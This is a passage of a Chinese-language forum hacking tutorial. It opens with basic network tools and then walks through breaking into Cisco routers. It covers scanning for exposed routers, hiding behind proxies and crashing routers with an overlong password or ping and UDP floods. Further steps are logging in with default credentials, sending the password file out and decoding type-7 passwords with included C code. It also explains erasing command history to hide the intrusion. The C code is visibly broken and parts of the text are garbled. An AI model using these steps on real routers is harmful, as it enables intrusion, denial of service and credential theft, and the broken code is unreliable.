references。你可以在這改變緩沖區(qū)的大小。\r\n\r\n你也可以 打開(kāi)/關(guān)閉 \"local echo\"。如果你打開(kāi)了\"local echo\"，你的電腦將顯示你輸入的任何東西，\r\n\r\n并且連接上的電腦將顯示回應(yīng)。\r\n\r\n所以你將會(huì)看到就像這些：\r\n\r\n你輸入 \"hello\",你看到的是\r\n\r\nhhelelollo\r\n\r\n這是因?yàn)榉祷氐男畔⒑湍爿斎氲膬?nèi)容已經(jīng)混合起來(lái)了。我這樣做的唯一的原因是看連接的機(jī)器對(duì)我的輸入，\r\n\r\n是否產(chǎn)生回應(yīng)。\r\n\r\n在默認(rèn)的情況下，telnet只會(huì)通過(guò)telnet端口連接，即是斷口23。你并不會(huì)只通過(guò)端口23連接，所以你連\r\n\r\n接的時(shí)候，你可以任意改變端口。你可以改成25，那是郵件服務(wù)程序的端口。也可以是21，那是ftp的端口。\r\n\r\n總共有上千個(gè)端口，所以你要選擇正確的端口！\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\n怎樣使用超級(jí)終端？\r\n\r\n超級(jí)終端可以讓你的電腦的任意端口進(jìn)行監(jiān)聽(tīng)某臺(tái)電腦，如果有信息來(lái)到這個(gè)端口，就可以進(jìn)行傳輸件。超\r\n\r\n級(jí)終端在 開(kāi)始>程序>附件>通訊 中，沒(méi)有的話，你可以通過(guò)控制面板中安裝。首先，你要選擇連接協(xié)議，我\r\n\r\n們選\"TCP/IP Winsock\"，接著輸入要連接的電腦，下面選擇端口�？梢赃x擇Call>Wait for Call，來(lái)等待\r\n\r\n文件。這樣其它的電腦就可以通過(guò)某個(gè)端口連接上你了，你也可以聊天，或者傳送文件了。\r\n\r\n:我的超級(jí)終端可能不一樣，沒(méi)有這個(gè)功能。\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n怎樣使用Ping？\r\n\r\nPing的使用很簡(jiǎn)單，在MS-DOS方式下，輸入“ping IP地址”，默認(rèn)是ping三次，你也可以自己設(shè)定。\r\n\r\n\"ping ip地址 -t\" \r\n\r\n可以使其不停的ping。\r\n\r\n改變 ping 的大小可以這樣做:\r\n\r\n\"ping -l (size) ip.address\"\r\n\r\nping其實(shí)是向遠(yuǎn)程的機(jī)器發(fā)送數(shù)據(jù)包，遠(yuǎn)程的機(jī)器接收到就會(huì)把數(shù)據(jù)包原路返回，我們可以看到這個(gè)過(guò)程的\r\n\r\n時(shí)間。時(shí)間越短，速度就越快，當(dāng)然，擁擠的時(shí)候，就會(huì)發(fā)生數(shù)據(jù)包丟失。 Ping 會(huì)減慢被ping的電腦的速\r\n\r\n度，流量過(guò)大的時(shí)候，甚至使其down機(jī)。一分鐘的ping攻擊就可以使一臺(tái)win98的電腦崩潰。(因?yàn)樗倪B接\r\n\r\n緩沖區(qū)溢出 - 連接過(guò)量，所以Windows決定休息休息了:>
.ping攻擊也會(huì)占用你許多帶寬，所以你的帶寬要\r\n\r\n比目標(biāo)機(jī)器大(除非目標(biāo)機(jī)器運(yùn)行的是Windows 98，而且你有個(gè)不錯(cuò)的貓，那么一分鐘內(nèi)，你就可以叫它下臺(tái)).\r\n\r\nPing攻擊對(duì)強(qiáng)壯的系統(tǒng)沒(méi)有效果。\r\n\r\n注意: DOS\'s -t 選項(xiàng)不是一個(gè)ping攻擊,它只是很小的連接一下，而且中間有很多間隔。在Unix或Linux\r\n\r\n的機(jī)器中，你可以用上參數(shù) －f 進(jìn)行真正的ping攻擊。其實(shí)，如果你的分布是POSIX-compliant (POSIX -\r\n\r\nPortable Operating System Interface based on uniX)，否則那就不是真正的Unix/Linux 分布。那\r\n\r\n么如果你有個(gè) OS，稱自己既是Unix，又是Linux，那么就是有 －f 。\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\n怎樣使用TraceRoute？\r\n\r\n要跟蹤你的連接（可以觀察到目標(biāo)機(jī)器的連接路線），只要在MS-DOS方式下，輸入“tracert IP地址”。你\r\n\r\n將會(huì)看到一個(gè)電腦的目錄，就是你和目標(biāo)之間通過(guò)的機(jī)器。. \r\n\r\n你可以用此方法確定是否存在防火墻，也可以確定某人的ISP(internet service provider)。\r\n\r\n要確定ISP，只要看目標(biāo)機(jī)器的前一個(gè)IP地址，那就應(yīng)該是ISP的路由器。\r\n\r\n基本上說(shuō)，這就是traceroute怎樣工作－一個(gè) TCP/IP 數(shù)據(jù)包，在它的頭部有一個(gè)值(在IP的頭部。如果你不\r\n\r\n知道這是什么意思，沒(méi)關(guān)系，你接著往下看就可以了)稱作 TTL,它是Time To Live的縮寫(xiě)。當(dāng)一個(gè)數(shù)據(jù)包通過(guò)\r\n\r\n路由器的時(shí)候，它的TTL值就會(huì)減少。這樣可能會(huì)使數(shù)據(jù)包在網(wǎng)絡(luò)中流竄，消耗帶寬。所以每當(dāng)一個(gè)數(shù)據(jù)包TTL\r\n\r\n值達(dá)到0的時(shí)候，它就會(huì)失效并且因?yàn)橐粋�(gè)ICMP錯(cuò)誤返回到發(fā)送者�，F(xiàn)在traceroute 先發(fā)送一個(gè)TTL值為1的\r\n\r\n數(shù)據(jù)包，那么它很快就會(huì)返回。查看ICMP錯(cuò)誤的頭部，traceroute就可以知道數(shù)據(jù)包第一步通過(guò)哪。接著就\r\n\r\n會(huì)發(fā)送TTL值為2的數(shù)據(jù)包，返回后，就是第二次通過(guò)的地方。依次下去，直到最終的目的地，就可以知道整個(gè)\r\n\r\n路徑。\r\n\r\n現(xiàn)在你是不是明白了呢? 
\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n怎樣使用代理服務(wù)器？\r\n\r\n在網(wǎng)上尋找一個(gè)代理服務(wù)器，包括你需要的打開(kāi)的端口的代理服務(wù)器。找到后，你可以用telnet 或\r\n\r\nhyperterminal通過(guò)代理服務(wù)器連接到另外一臺(tái)電腦上。這樣做對(duì)方的電腦就不可以確定你的IP地址。\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n第一段：為什么攻擊cisco路由器？\r\n\r\n你可能會(huì)想.. 為什么要攻擊 cisco 路由器呢? \r\n\r\n答案就是那樣做將對(duì)闖入其它的系統(tǒng)非常有用...\r\n\r\nCisco路由器非常的快，在一個(gè)系統(tǒng)中，一些會(huì)是以18 T1連接。而且它們非常靈活，盡管大多數(shù)運(yùn)行\(zhòng)r\n\r\ntelnet，但是它們可以在DoS攻擊或攻入其它系統(tǒng)時(shí)發(fā)揮作用。 \r\n\r\n它們同時(shí)還會(huì)有成千的數(shù)據(jù)包通過(guò)。但是可以被捕獲進(jìn)行譯碼...許多的cisco路由器受托于系統(tǒng)，它們\r\n\r\n可以讓你獲得其網(wǎng)絡(luò)中訪問(wèn)其它電腦的確切的數(shù)量。\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\n第二段：怎樣找到一個(gè)cisco路由器？\r\n\r\n尋找一個(gè)cisco路由器可以說(shuō)是以項(xiàng)簡(jiǎn)單的任務(wù)，幾乎所有的ISP至少通過(guò)一個(gè)cisco路由器。最簡(jiǎn)單的\r\n\r\n方法是在dos下運(yùn)行tracert，你可以跟蹤到電腦之間的許多電腦，在這之間，必有一個(gè) “cisco”這個(gè)\r\n\r\n名字。如果你發(fā)現(xiàn)了，記下它的IP地址。\r\n\r\n:在中國(guó)未必有cisco這個(gè)名字，但是肯定有路由器的，你可以用SuperScan掃描前兩個(gè)IP地址，\r\n\r\n看哪個(gè)開(kāi)2001端口（Cisco路由器管理）和23端口即是的啦！\r\n\r\n現(xiàn)在，你有cisco路由器的位置了，但是它可能還有一個(gè)防火墻保護(hù)它，所以你要檢查一下它是否被封\r\n\r\n鎖ping連接的次數(shù)，如果有回應(yīng)，它就有可能未被封鎖。另外一種方法就是試著訪問(wèn)cisco路由器的一些\r\n\r\n端口。你用telnet即可，端口23，如果它要輸入密碼，未叫輸入用\r\n\r\n戶名，你就可能在一個(gè)防火墻。\r\n\r\n試著找一個(gè)未受防火墻保護(hù)的路由器，因?yàn)檫@篇教程主題是路由器，不是教你怎樣通過(guò)防火墻。當(dāng)你確\r\n\r\n信找到一個(gè)好的系統(tǒng)，你應(yīng)該找一個(gè)可以使用23端口的代理服務(wù)器，這樣你的IP地址就不會(huì)被路由器記\r\n\r\n錄下來(lái)了。:找到一臺(tái)運(yùn)行Wingate的機(jī)器即可。\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\n第三段：怎樣闖入一個(gè)cisco路由器？\r\n\r\nCisco路由器運(yùn)行 V4.1 版本的軟件（現(xiàn)在普遍使用的），這很容易干掉。你只要通過(guò)代理服務(wù)器連接到\r\n\r\n一個(gè)cisco路由器，輸入一串很長(zhǎng)的密碼，如：\r\n\r\n10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk\r\n\r\n10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk\r\n\r\n10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk\r\n\r\n10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk\r\n\r\n現(xiàn)在開(kāi)始等，cisco系統(tǒng)將會(huì)重新啟動(dòng)，可以說(shuō)你已經(jīng)攻擊它，使它離線了...但是過(guò)2-10分鐘，它就會(huì)\r\n\r\n恢復(fù)，我們應(yīng)該進(jìn)入它。\r\n\r\n如果什么都沒(méi)發(fā)生,那么它運(yùn)行的不是脆弱的軟件,你可以多試幾種DoS攻擊，比如大量的 ping.到dos下，\r\n\r\n輸入 \"ping -l 56550 cisco.router.ip -t\",這會(huì)起到同樣的效果. \r\n\r\n:很有可能以上兩種方法都不行，反正是要其down機(jī)，那么試試那個(gè)攻擊yahoo的udpFlood，一定\r\n\r\n可以使其down機(jī)。一定要注意小心��！我相信你應(yīng)該知道該怎么保護(hù)自己。\r\n\r\n如果它被動(dòng)結(jié),就另找一個(gè)代理服務(wù)器進(jìn)行連接。并且用戶名為\"admin\"，密碼為\"admin\"，因?yàn)檫@是默認(rèn)的。\r\n\r\n因?yàn)楫?dāng)它暫時(shí)的disabled，它將恢復(fù)到默認(rèn)狀態(tài)。\r\n\r\n:你到我主頁(yè)，會(huì)有一篇文章包括幾乎所有的路由器的默認(rèn)用戶名和密碼。\r\n\r\n現(xiàn)在，你已經(jīng)進(jìn)入了，你應(yīng)該獲得密碼文件！系統(tǒng)運(yùn)行不同的軟件，但大部分有個(gè)像\"htl-textil\"\r\n\r\n這類的提示，現(xiàn)在輸入\"?\"，觀看命。你會(huì)看到有很多的命令，你會(huì)發(fā)現(xiàn)一個(gè)傳送命令，用這個(gè)命令，在當(dāng)前Admin用戶的情況下，把密碼文件發(fā)送到你的電腦23端口上。但是在這之前，你要把你的超級(jí)終端設(shè)定好。你發(fā)送文件之后，超級(jí)終端將問(wèn)你是否接收文件，你選擇是并保存在電腦中即可。離線. 你通過(guò)了最難的部分，下面準(zhǔn)備開(kāi)始破解密碼。\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\n第四段：怎樣破解密碼？\r\n\r\n現(xiàn)在，你獲得了密碼文件，你要破解它才能繼續(xù)進(jìn)入路由器。所以你可以運(yùn)行John the Ripper之類的軟件破譯它。\r\n\r\n這是我推薦的最簡(jiǎn)單的方法.另一種方法是試著把它解碼。這樣做需要一個(gè)解碼軟件，使用某些解碼軟件，你還要有足夠的耐心。\r\n\r\n這兒有一個(gè)專門為cisco路由器密碼文件解碼的軟件，你可以在Linux中編譯它:\r\n\r\n#include \r\n\r\n#include \r\n\r\nchar xlat[] = {\r\n\r\n0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,\r\n\r\n0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,\r\n\r\n0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44\r\n\r\n};\r\n\r\nchar pw_str1[] = \"password 7 \";\r\n\r\nchar pw_str2[] = \"enable-password 7 \";\r\n\r\nchar *pname;\r\n\r\ncdecrypt(enc_pw, dec_pw)\r\n\r\nchar *enc_pw;\r\n\r\nchar *dec_pw;\r\n\r\n{\r\n\r\nunsigned int seed, i, val = 0;\r\n\r\nif(strlen(enc_pw) & 1)\r\n\r\nreturn(-1);\r\n\r\nseed = (enc_pw[0] - ?\') * 10 + enc_pw[1] - ?\'\r\n\r\nif (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))\r\n\r\nreturn(-1);\r\n\r\nfor (i = 2 ; i <= strlen(enc_pw); i++) {\r\n\r\nif(i !=2 && !(i & 1)) {\r\n\r\ndec_pw[i / 2 - 2] = val ^ xlat[seed++];\r\n\r\nval = 0;\r\n\r\n}\r\n\r\nval *= 16;\r\n\r\nif(isdigit(enc_pw = toupper(enc_pw))) {\r\n\r\nval += enc_pw - ?\'\r\n\r\ncontinue;\r\n\r\n}\r\n\r\nif(enc_pw >= \'A\' && enc_pw <= \'F\') {\r\n\r\nval += enc_pw - \'A\' + 10;\r\n\r\ncontinue;\r\n\r\n}\r\n\r\nif(strlen(enc_pw) != i)\r\n\r\nreturn(-1);\r\n\r\n}\r\n\r\ndec_pw[++i / 2] = 0;\r\n\r\nreturn(0);\r\n\r\n}\r\n\r\nusage()\r\n\r\n{\r\n\r\nfprintf(stdout, \"Usage: %s -p \\n\", pname);\r\n\r\nfprintf(stdout, \" %s \\n\", pname);\r\n\r\nreturn(0);\r\n\r\n}\r\n\r\nmain(argc,argv)\r\n\r\nint argc;\r\n\r\nchar **argv;\r\n\r\n{\r\n\r\nFILE *in = stdin, *out = stdout;\r\n\r\nchar line[257];\r\n\r\nchar passwd[65];\r\n\r\nunsigned int i, pw_pos;\r\n\r\npname = argv[0];\r\n\r\nif(argc > 1)\r\n\r\n{\r\n\r\nif(argc > 3) {\r\n\r\nusage();\r\n\r\nexit(1);\r\n\r\n}\r\n\r\nif(argv[1][0] == \'-\')\r\n\r\n{\r\n\r\nswitch(argv[1][1]) {\r\n\r\ncase \'h\':\r\n\r\nusage();\r\n\r\nbreak;\r\n\r\ncase \'p\':\r\n\r\nif(cdecrypt(argv[2], passwd)) {\r\n\r\nfprintf(stderr, \"Error.\\n\";\r\n\r\nexit(1);\r\n\r\n}\r\n\r\nfprintf(stdout, \"password: %s\\n\", passwd);\r\n\r\nbreak;\r\n\r\ndefault:\r\n\r\nfprintf(stderr, \"%s: unknow option.\", pname);\r\n\r\n}\r\n\r\nreturn(0);\r\n\r\n}\r\n\r\nif((in = fopen(argv[1], \"rt\") == NULL)\r\n\r\nexit(1);\r\n\r\nif(argc > 2)\r\n\r\nif((out = fopen(argv[2], \"wt\") == NULL)\r\n\r\nexit(1);\r\n\r\n}\r\n\r\nwhile(1) {\r\n\r\nfor(i = 0; i < 256; i++) {\r\n\r\nif((line = fgetc(in)) == EOF) {\r\n\r\nif(i)\r\n\r\nbreak;\r\n\r\nfclose(in);\r\n\r\nfclose(out);\r\n\r\nreturn(0);\r\n\r\n}\r\n\r\nif(line == \'\\r\')\r\n\r\ni--;\r\n\r\nif(line == \'\\n\')\r\n\r\nbreak;\r\n\r\n}\r\n\r\npw_pos = 0;\r\n\r\nline = 0;\r\n\r\nif(!strncmp(line, pw_str1, strlen(pw_str1)))\r\n\r\npw_pos = strlen(pw_str1);\r\n\r\nif(!strncmp(line, pw_str2, strlen(pw_str2)))\r\n\r\npw_pos = strlen(pw_str2);\r\n\r\nif(!pw_pos) {\r\n\r\nfprintf(stdout, \"%s\\n\", line);\r\n\r\ncontinue;\r\n\r\n}\r\n\r\nif(cdecrypt(&line[pw_pos], passwd)) {\r\n\r\nfprintf(stderr, \"Error.\\n\";\r\n\r\nexit(1);\r\n\r\n}\r\n\r\nelse {\r\n\r\nif(pw_pos == strlen(pw_str1))\r\n\r\nfprintf(out, \"%s\", pw_str1);\r\n\r\nelse\r\n\r\nfprintf(out, \"%s\", pw_str2);\r\n\r\nfprintf(out, \"%s\\n\", passwd);\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n如果你沒(méi)有使用Linux，你就只好用John the Ripper之類的軟件，帶上密碼檔，進(jìn)行暴利破解。\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\n第五段：怎樣使用一個(gè)cisco路由器？\r\n\r\n要使用它，你先必須連接到它，你可以用代理，以免你的IP地址被記下。當(dāng)你進(jìn)入的時(shí)候，如果你想關(guān)閉\r\n\r\n歷史記錄來(lái)掩蓋你的行為，你只要輸入\"terminal history size 0\"。這樣就不會(huì)被記下什么了! 輸入 \"?\"\r\n\r\n來(lái)看路由器中的命令，大多數(shù)你都可以用的。 \r\n\r\n這些路由器一般都有telnet，所以你可以通過(guò)telnet連接到其它的系統(tǒng)上(比如unix boxes)，并且攻擊\r\n\r\n它們。你還可以使用ping 和 traceroute 進(jìn)行跟蹤系統(tǒng)或進(jìn)行DoS攻擊。你也可以監(jiān)聽(tīng)數(shù)據(jù)包，但我不推薦\r\n\r\n這樣做，因?yàn)椴⒉皇且欢ǔ晒�，而且�?huì)被發(fā)現(xiàn)....\r\n如果你第一次沒(méi)有攻入cisco，不要擔(dān)心...你一兩次是不可能成功的。它需要不斷的練習(xí)和超強(qiáng)的耐力。\r\n\r\n這兒只向你將怎樣做...一定要在合法的情況下進(jìn)行啊！
| 歡迎光臨 Chinaunix (http://www.72891.cn/) | Powered by Discuz! X3.2 |